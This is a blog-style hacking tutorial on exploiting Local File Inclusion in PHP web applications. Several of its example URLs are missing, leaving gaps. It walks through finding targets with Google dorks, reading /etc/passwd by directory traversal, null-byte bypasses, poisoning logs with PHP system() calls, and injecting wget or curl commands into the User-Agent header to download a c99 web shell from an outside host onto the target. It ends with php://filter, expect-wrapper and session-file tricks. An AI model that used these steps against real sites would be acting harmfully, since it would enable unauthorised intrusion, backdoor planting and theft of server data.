How To Hack A Website Using Local File Inclusion (LFI)

by Sunny Hoi

What Is Local File Inclusion (LFI)?

LFI is an acronym that stands for Local File Inclusion. LFI is reminiscent of an inclusion attack and hence a type of web application security vulnerability that hackers can exploit to include files on the target’s web server.

Local File Inclusion (LFI) and Remote File Inclusion (RFI) are quite alike with the exception of their attack techniques.

This tutorial will illustrate Local File Inclusion on PHP pages.

In layman’s terms, web applications refer to pages and websites which you may perceive and communicate within your web browser.

If you genuinely want to grasp LFI professionally, it would be a good idea to learn the numerous script types circulating today.

The priority to learn first ought to be PHP since it’s most extensively utilized and also the one you’ll most likely to confront in real life contexts. It’ll be great to also learn other scripts such as CGI, Java, and ASP.

It’s the interest and passion that drives one to truly immerse and appreciate these distinct script types.

NOTE: This tutorial is for informative purposes only. You agree to only penetration testing authorized websites.

Most LFI tutorials place emphasis using the index.php file with the string page= to showcase inclusion attacks which is bland and forgettable. It’s important to keep in mind that other PHP files are also vulnerable, if not vulnerable to LFI in real life situations.


For this tutorial, we’ll go with the slightly unconventional:


Thus, a penetration tester who wants to search for thousands of potentially vulnerable sites quickly with a template PHP file with the particular string view page can do so using a dork.

A dork into Google search engine goes like this:


Or of course the favorite and familiar:


You can replace the PHP file name with the one you have in mind and modify the string to suit your needs.

GET arguments don’t need to be “addr”,page“, or “id“. It may be anything so you should always envision endless arguments.

Testing A Web Server For Local File Inclusion (LFI) Vulnerability

If there is anything at the end of the addr= string, remove it and insert ../


We’ll receive an error that looks like this:

Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sunny/public_html/ on line 1337

This means that there is a significant chance that an LFI can be made since the site may be indeed vulnerable.

Simple Method To Test LFI: Try To Access & Read /etc/passwd

We can try to access and read “/etc/passwd” directly who comprises root users data:


Perhaps we’ll see a considerable list of data emerge as a result of the above. If we do, that would indicate that the website is vulnerable to Local File Inclusion. Fundamentally, we’ve won. Remember sometimes the simplest technique can reveal a lot.

We’ll go ahead and insert ../../../etc/passwd at the end of the addr= string:


We’ll continue to receive an error that looks identical to what we received earlier:

Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sunny/public_html/ on line 1337

What to do now?

Well, we’ll just keep adding ../ to proceed additional directories above:


We might have succeeded in our LFI attempt when something that looks very much like this appears:

root:x:0:0:ROOT account:/root:/bin/bash
myuser:x:513:520:Test User:/home/myuser:/bin/bash

The above data in the /etc/passwd file illustrates that we have indeed included the passwd file.

The passwd file is crucial since it stores sensitive users and password.

A non-shadowed passwd file appears like the following:

username: passwd:UID:GID:full_name:directory:shell

Hence, for instance:


The passwd file may be shadowed which is illustrated in the following:


Thus, for instance:


We can see from the above that the password is x. More significantly, the encoded password is located in /etc/shadow. It’s unlikely that you can access and read /etc/shadow since it is merely readable and writeable by root. The /etc/shadow file consists the system’s logins and only if the server is running as root, you’ll have the chance to read it. In contrast, /etc/passwd must be readable by various processes which explains why you possess access to it.

During your penetration testing, you’ll eventually encounter something like the following:


The ! denotes that the encoded password is saved in the /etc/security/passwd file.

Consequently, remember that the /etc/ folder has many folders for one curious individual to explore.

Adding Null Byte To Test For Local File Inclusion

Occasionally, the PHP script on the web server appends the “.php” extension to the end of all included files.

When To Add Null Byte

If our Local File Inclusion vulnerable site appears like this:


The above would imply that the include retains .php in it like this PHP code:

include $main.’.php’;

Therefore, our LFI attempt above which consisted of:



we attempt to include an RFI utilizing c99 web shell backdoor:


The results which either be:


which would give us an error since such file does not exist.



So we must add a null byte ():



Adding a null byte informs the web server to ignore everything we don’t want that directly conflicts our penetration testing purposes.

If our LFI vulnerable site looks something like this:


The above would indicate the following PHP code:

include $main;

That would mean that we’re good to go.

Oh yeah, it’s a good idea to include a question mark (?) after the web URL of the backdoor shell in the Remote File Inclusion which would prevent issues from occurring if anything extends past c99.txt:


Local File Inclusion (LFI) Log Poisoning

When you know that you may include files using an LFI, you could proceed attempting log poisoning which can execute PHP code to obtain higher access to the system.

To carry out a Local File Inclusion log poisoning, you have to be able to include apache logs (access/error). This is likely to be strenuous for the attacker since more current apache versions hinder this objective. But, experimenting is pivotal to success.

Firstly, you have to know where the location of the logs are stored in. Thus, attempt to include the numerous well-known locations for apache logs. Below is a couple that shall be of interest:



If you can’t read the log path and you’ve tried all of the above, it is probably a good idea to use another attack technique to compromise your target.

If you are able to include the log files (access/error), the chances are that you will crash your own web browser when you are exploiting an enormous website.

Recall that the entire purpose of even including the access/error logs in the first place is to establish something we can alter.

You are supposed to poison the logs using PHP code, include the logs using Local File Inclusion, and proceed to execute the code.

Therefore, it goes like this:

www.thetargetsite/<?php system(“echo include($_GET[‘a’]); > /tmp/sunny”) ?>

The above will yield poisonous results. Pun intended. You’ll end up poisoning the error log because the above is likely to be fictitious and result in a 404 error.

If executed properly, you will execute the subsequent code by including the error log:


system(“echo include($_GET[‘a’]); > /tmp/sunny”)


Hooray, you’ve achieved a system() code execution at /tmp/sunny! The above will write a file labelled sunny to /tmp/. This is important since you may now include that file rather than the log files.

Check To See If Proc/Self/Environ Is Readable

We’ll now look at the easier /proc/self/environ LFI technique which closely resembles log poisoning and hence we’ll call a ‘variant’ for simplicity sake.


If we don’t retrieve successful results, we can keep crossing additional directories above:


If successful, we’ll see something like this:

DOCUMENT_ROOT=/home/sunnyhoi/public_html GATEWAY_INTERFACE=CGI/1.0 HTTP_ACCEPT=text/html, application/xml;q=0.8, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=123bk6134w056782e1025789qa1jg6xb HTTP_HOST=www.thetargetsite HTTP_REFERER=http://www.thetargetsite/layout.php?addr=../../../../../../etc/passwd HTTP_USER_AGENT=Firefox/56.0.2 (Windows NT 10.3; U; en) Presto/1.3.37 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/layout.php?addr=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sunnyhoi/public_html/layout.php SCRIPT_NAME=/layout.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@thetargetsite SERVER_NAME=www.thetargetsite SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/1.3.37 OpenSSL/0.1.3i DAV/3 mod_auth_passthrough/7.0 mod_bwlimited/1.3 FrontPage/ Server at http://www.thetargetsite Port 80

So the above example shows:

DOCUMENT_ROOT=(Value here)

Pen testers may upload malicious code to the newfound readable directory for local execution.

If the web server responds by giving us an error that /proc/self/environ cannot be accessed or serves us an empty page, we can conclude that we might not be able to obtain access there. The web server operating system could also be running FreeBSD.

Upload Web Shell Backdoor To Target Website

Let’s go ahead and inject code into our User-Agent HTTP header so we can upload a shell to the target site. When we do that, we fundamentally inject the code into proc/self/environ.

First, download the Tamper Data Firefox Addon here and do the following:

Check To See If Executing Code Is Possible On Target Web Server

Change the User Agent value to the following PHP code:


The page would refresh, and the DOCUMENT_ROOT value would also be altered.

Let’s proceed to change our User agent again to the following:

<?system(‘uname -a’);?>

If you didn’t do the following earlier, change and request the following web URL:


Now let’s proceed to the most significant and impactful action.

Change the User Agent value to the following:

<?system(‘wget http://examplesite/WebShells/c99.txt -O webshell.php’);?>

The above wget command will download a txt shell and save it as webshell.php in the site directory over system(). If the web shell is not generated, try exec() as system() may have been deactivated on the webserver php.ini file.

To search for a web shell backdoor that is readily available for including, search for the following on Google:


If the above wget command still doesn’t work, we should alternatively attempt curling it:

<?system(‘curl -o webshell.php http://examplesite/c99.txt’);?>

Whether you’re using the wget or curl command, be sure that the request has been submitted successfully.

Let’s see if our web shell is now located on the target site:


If the code was effectually injected, we’d see that the shell is indeed there.

Do keep in mind that the location of your web shell backdoor will be dependent on whether there are directories on the vulnerable webpage:


Thus, our web shell will be situated in the directory of layout.php which would be this:


If the vulnerable webpage is in the root directory, we can disregard the directory location differentiation.

You have to keep in mind that this is all proof of concept (PoC). Hence, you ought to alter many of the paths. But this tutorial has shown you how to exploit LFI vulnerabilities.

PHP Filter/Wrapper Local File Inclusion (LFI) Attack Techniques

Lastly, I shall go through the PHP filter/wrapper LFI technique.

The PHP filter/wrapper technique is fundamentally similar to a normal Local File Inclusion. The difference of the PHP filter is that you may literally read the PHP source code of the files you include rather than merely executing the code. This denotes that you may read configuration files for PHP scripts, potentially contributing to access.

Your objective is to convert the data we derive from reading the file to something that won’t become executed when it through the include() function.

Using PHP filters, you may convert the data you read from a file to base64 prior to it becoming included. Ultimately, you’ll acquire base64 output in your browser. Remember that when it is decrypted will reveal PHP source code, provided that you include a PHP file.





If you’re interested in reading the config.php file, you should do this:


You’ll likely obtain something consisting of mixed letters, numbers, and symbols which you may decode using:

Also, try using data wrapper:






Try this out:


The above permits executing system commands through the PHP expect wrapper.

You can also use the PHP session technique to edit your PHP session value/data to PHP code and include it using a cookie editor. In most scenarios, the path to the session file on the web server is /tmp/sess_SESSION_ID. It can be placed in other locations too with the identical session name.


If all of the aforementioned techniques in this tutorial have turned out to be unsuccessful, you can adopt a workaround by pinpointing a file upload that is located somewhere on the target’s website.

These file uploads can virtually be anything such as images, avatars, pdf files, text files, and rar files. You may meddle with the files, insert PHP code to the end of the files, and attempt to include it. This is when you are aware of the file path subsequently uploading it.

Related Posts